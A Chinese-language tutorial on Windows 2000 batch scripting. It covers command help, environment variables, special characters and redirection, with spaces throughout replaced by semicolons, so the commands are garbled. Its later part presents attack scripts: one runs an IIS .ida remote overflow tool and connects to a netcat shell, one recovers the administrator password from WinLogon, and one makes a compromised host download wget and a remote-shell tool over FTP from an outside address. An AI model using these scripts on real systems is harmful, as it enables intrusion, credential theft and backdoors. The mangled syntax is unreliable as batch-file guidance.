电脑技术学习

win2000命令行方式批处理BAT文件技巧

dn001

文章结构;
1.;所有内置命令的帮助信息;
2.;环境变量的概念;
3.;内置的特殊符号(实际使用中间注意避开);
4.;简单批处理文件概念;
5.;附件1;tmp.txt;
6.;附件2;sample.bat;

######################################################################;
1.;所有内置命令的帮助信息;
######################################################################;
ver;
cmd;/?;
set;/?;
rem;/?;
if;/?;
echo;/?;
goto;/?;
for;/?;
shift;/?;
call;/?;
其他需要的常用命令;
type;/?;
find;/?;
findstr;/?;
copy;/?;
______________________________________________________________________;
下面将所有上面的帮助输出到一个文件;
echo;ver;>tmp.txt;
ver;>>tmp.txt;
echo;cmd;/?;>>tmp.txt;
cmd;/?;>>tmp.txt;
echo;rem;/?;>>tmp.txt;
rem;/?;>>tmp.txt;
echo;if;/?;>>tmp.txt;
if;/?;>>tmp.txt;
echo;goto;/?;>>tmp.txt;
goto;/?;>>tmp.txt;
echo;for;/?;>>tmp.txt;
for;/?;>>tmp.txt;
echo;shift;/?;>>tmp.txt;
shift;/?;>>tmp.txt;
echo;call;/?;>>tmp.txt;
call;/?;>>tmp.txt;
echo;type;/?;>>tmp.txt;
type;/?;>>tmp.txt;
echo;find;/?;>>tmp.txt;
find;/?;>>tmp.txt;
echo;findstr;/?;>>tmp.txt;
findstr;/?;>>tmp.txt;
echo;copy;/?;>>tmp.txt;
copy;/?;>>tmp.txt;
type;tmp.txt;
______________________________________________________;

######################################################################;
2.;环境变量的概念;
######################################################################;
_____________________________________________________________________________;
C:/Program;Files>set;
ALLUSERSPROFILE=C:/Documents;and;Settings/All;Users;
CommonProgramFiles=C:/Program;Files/Common;Files;
COMPUTERNAME=FIRST;
ComSpec=C:/WINNT/system32/cmd.exe;
NUMBER_OF_PROCESSORS=1;
OS=Windows_NT;
Os2LibPath=C:/WINNT/system32/os2/dll
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;
PROCESSOR_ARCHITECTURE=x86;
PROCESSOR_IDENTIFIER=x86;Family;6;Model;6;Stepping;5,;GenuineIntel;
PROCESSOR_LEVEL=6;
PROCESSOR_REVISION=0605;
ProgramFiles=C:/Program;Files;
PROMPT=$P$G;
SystemDrive=C:;
SystemRoot=C:/WINNT;
TEMP=C:/WINNT/TEMP;
TMP=C:/WINNT/TEMP;
USERPROFILE=C:/Documents;and;Settings/Default;User;
windir=C:/WINNT;
_____________________________________________________________________________;

path:;表示可执行程序的搜索路径.;我的建议是你把你的程序copy;到;
%windir%/system32/.;这个目录里面.;一般就可以自动搜索到.;
语法:;copy;mychenxu.exe;%windir%/system32/.;
使用点(.);便于一目了然;
对环境变量的引用使用(英文模式,半角)双引号;
%windir%;变量;
%%windir%%;二次变量引用.;
我们常用的还有;
%temp%;临时文件目录;
%windir%;系统目录;
%errorlevel%;退出代码;

输出文件到临时文件目录里面.这样便于当前目录整洁.;

对有空格的参数.;你应该学会使用双引号("");来表示比如对porgram;file文件夹操作;
C:/>dir;p*;
C:/;的目录;
2000-09-02;11:47;2,164;PDOS.DEF;
1999-01-03;00:47;<DIR>;Program;Files;
1;个文件;2,164;字节;
1;个目录;1,505,997,824;可用字节;

C:/>cd;pro*;
C:/Program;Files>

C:/>
C:/>cd;"Program;Files"
C:/Program;Files>



######################################################################;
3.;内置的特殊符号(实际使用中间注意避开);
######################################################################;
微软里面内置了下列字符不能够在创建的文件名中间使用;
con;nul;aux;/;/;|;||;&&;^;>;<;*;

You;can;use;most;characters;as;variable;values,;including;white;space.;If;you;use;the;special;characters;<,;>,;|,;&,;or;^,;you;must;precede;them;with;the;escape;character;(^);or;quotation;marks.;If;you;use;quotation;marks,;they;are;included;as;part;of;the;value;because;everything;following;the;equal;sign;is;taken;as;the;value.;Consider;the;following;examples:;
(大意:;要么你使用^作为前导字符表示.或者就只有使用双引号""了);
To;create;the;variable;value;new&name,;type:;
set;varname=new^&name;

To;create;the;variable;value;"new&name",;type:;
set;varname="new&name"

The;ampersand;(&),;pipe;(|),;and;parentheses;(;);are;special;characters;that;must;be;preceded;by;the;escape;character;(^);or;quotation;marks;when;you;pass;them;as;arguments.;

find;"Pacific;Rim";<;trade.txt;>;nwtrade.txt;
IF;EXIST;filename.;(del;filename.);ELSE;echo;filename.;missing;

>;创建一个文件;
>>;追加到一个文件后面;
@;前缀字符.表示执行时本行在cmd里面不显示,;可以使用;echo;off关闭显示;
^;对特殊符号(;>;<;&)的前导字符.;第一个只是显示aaa;第二个输出文件bbb;
echo;123456;^>;aaa;
echo;1231231;>;bbb;
();包含命令;
(echo;aa;&;echo;bb);
,;和空格一样的缺省分隔符号.;
;;注释,表示后面为注释;
:;标号作用;
|;管道操作;
&;Usage:第一条命令;&;第二条命令;[&;第三条命令...];
用这种方法可以同时执行多条命令,而不管命令是否执行成功;
dir;c:/*.exe;&;dir;d:/*.exe;&;dir;e:/*.exe;
&&;Usage:第一条命令;&&;第二条命令;[&&;第三条命令...];
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;;
||;Usage:第一条命令;||;第二条命令;[||;第三条命令...];
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;;

常用语法格式;
IF;[NOT];ERRORLEVEL;number;command;para1;para2;
IF;[NOT];string1==string2;command;para1;para2;
IF;[NOT];EXIST;filename;command;para1;para2;

IF;EXIST;filename;command;para1;para2;
IF;NOT;EXIST;filename;command;para1;para2;
IF;"%1"=="";goto;END;
IF;"%1"=="net";goto;NET;
IF;NOT;"%2"=="net";goto;OTHER;
IF;ERRORLEVEL;1;command;para1;para2;
IF;NOT;ERRORLEVEL;1;command;para1;para2;
FOR;/L;%%i;IN;(start,step,end);DO;command;[command-parameters];%%i;
FOR;/F;"eol=;;tokens=2,3*;delims=,;";%i;in;(myfile.txt);do;echo;%i;%j;%k;
按照字母顺序;ijklmnopq依次取参数.;
eol=c;-;指一个行注释字符的结尾(就一个);
skip=n;-;指在文件开始时忽略的行数。;
delims=xxx;-;指分隔符集。这个替换了空格和跳格键的默认分隔符集。;


######################################################################;
4.;简单批处理文件概念;
######################################################################;

echo;This;is;test;>;a.txt;
type;a.txt;
echo;This;is;test;11111;>>;a.txt;
type;a.txt;
echo;This;is;test;22222;>;a.txt;
type;a.txt;
第二个echo是追加;
第三个echo将清空a.txt;重新创建;a.txt;

netstat;-n;|;find;"3389"
这个将要列出所有连接3389的用户的ip.;

________________test.bat___________________________________________________;
@echo;please;care;
echo;plese;care;1111;
echo;plese;care;2222;
echo;plese;care;3333;
@echo;please;care;
@echo;plese;care;1111;
@echo;plese;care;2222;
@echo;plese;care;3333;
rem;不显示注释语句,本行显示;
@rem;不显示注释语句,本行不显示;
@if;exist;%windir%/system32/find.exe;(echo;Find;find.exe;!!!);else;(echo;ERROR:;Not;find;find.exe);
@if;exist;%windir%/system32/fina.exe;(echo;Find;fina.exe;!!!);else;(echo;ERROR:;Not;find;fina.exe);
___________________________________________________________________________;

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.;

___________________ida.bat_________________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/idahack.exe;echo;"ERROR:;dont;find;idahack.exe"
@if;NOT;exist;%windir%/system32/nc.exe;echo;"ERROR:;dont;find;nc.exe"

@if;"%1";=="";goto;USAGE;
@if;NOT;"%2";=="";goto;SP2;

:start;
@echo;Now;start;...;
@ping;%1;
@echo;chinese;win2k:1;sp1:2;sp2:3;
idahack.exe;%1;80;1;99;>%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];idahack.exe"
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];find;[goog;luck]"
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;

:SP2;
@idahack.exe;%1;80;%2;99;%temp%/_tmp;
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;

:USAGE;
@echo;Example:;ida.bat;IP;
@echo;Example:;ida.bat;IP;(2,3);

:END;
_____________________ida.bat__END_________________________________;

下面我们再来第二个文件.就是得到administrator的口令.;
大多数人说得不到.其实是自己的没有输入正确的信息.;

___________________________fpass.bat____________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/findpass.exe;echo;"ERROR:;dont;find;findpass.exe"
@if;NOT;exist;%windir%/system32/pulist.exe;echo;"ERROR:;dont;find;pulist.exe"

@echo;start....;
@echo;____________________________________;
@if;"%1"=="";goto;USAGE;
@findpass.exe;%1;%2;%3;>>;%temp%/_findpass.txt;
@echo;"prog;exit;code;[%errorlevel%];findpass.exe"
@type;%temp%/_findpass.txt;
@echo;________________________________Here__pass★★★★★★★★;
@ipconfig;/all;>>%temp%/_findpass.txt;
@goto;END;

:USAGE;
@pulist.exe;>%temp%/_pass.txt;
@findstr.exe;/i;"WINLOGON;explorer;internat";%temp%/_pass.txt;
@echo;"Example:;fpass.bat;%1;%2;%3;%4;!!!"
@echo;"Usage:;findpass.exe;DomainName;UserName;PID-of-WinLogon"

:END;
@echo;";fpass.bat;%COMPUTERNAME%;%USERNAME%;administrator;"
@echo;";fpass.bat;end;[%errorlevel%];!"
_________________fpass.bat___END___________________________________________________________;

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win);
依次在窗口输入下面的东西.;当然了也可以全部拷贝.Ctrl+V过去.;然后就等待吧!!;

echo;open;210.64.x.4;3396>w;
echo;read>>w;
echo;read>>w;
echo;cd;winnt>>w;
echo;binary>>w;
echo;pwd;>>w;
echo;get;wget.exe;>>w;
echo;get;winshell.exe;>>w;
echo;get;any.exe;>>w;
echo;quit;>>w;
ftp;-s:w

标签: